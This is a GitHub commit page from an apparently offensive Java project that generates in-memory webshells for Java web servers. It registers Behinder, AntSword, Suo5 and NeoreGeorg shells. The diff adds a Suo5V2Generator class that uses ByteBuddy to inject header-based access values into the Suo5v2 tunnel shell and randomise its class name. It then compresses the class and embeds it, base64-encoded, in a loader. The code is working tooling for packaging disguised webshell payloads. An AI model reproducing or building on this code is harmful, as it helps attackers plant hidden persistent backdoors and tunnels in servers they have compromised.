Skip to content

Commit 8ca0174

Browse files
committed
refactor: use Suo5V2Loader
1 parent 3230ddd commit 8ca0174

12 files changed

Lines changed: 397 additions & 10502 deletions

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ public class ShellToolFactory {
2323
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
2424
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
2525
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
26-
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
26+
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
2727
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
2828
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
2929
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.ClassBytesShrink;
4+
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
5+
import com.reajason.javaweb.memshell.config.ShellConfig;
6+
import com.reajason.javaweb.memshell.config.Suo5Config;
7+
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
8+
import com.reajason.javaweb.utils.CommonUtil;
9+
import net.bytebuddy.ByteBuddy;
10+
import net.bytebuddy.dynamic.DynamicType;
11+
import org.apache.commons.codec.binary.Base64;
12+
13+
import static net.bytebuddy.matcher.ElementMatchers.named;
14+
15+
/**
16+
* @author ReaJason
17+
* @since 2025/2/12
18+
*/
19+
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
20+
21+
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
22+
super(shellConfig, suo5Config);
23+
}
24+
25+
@Override
26+
protected DynamicType.Builder<?> getBuilder() {
27+
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
28+
return new ByteBuddy()
29+
.redefine(shellToolConfig.getShellClass())
30+
.field(named("headerName")).value(shellToolConfig.getHeaderName())
31+
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
32+
}
33+
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
34+
.redefine(Suo5v2.class)
35+
.name(CommonUtil.generateClassName())
36+
.field(named("headerName")).value(shellToolConfig.getHeaderName())
37+
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
38+
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
39+
.make()) {
40+
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
41+
return new ByteBuddy()
42+
.redefine(shellToolConfig.getShellClass())
43+
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
44+
}
45+
}
46+
}

0 commit comments

Comments
 (0)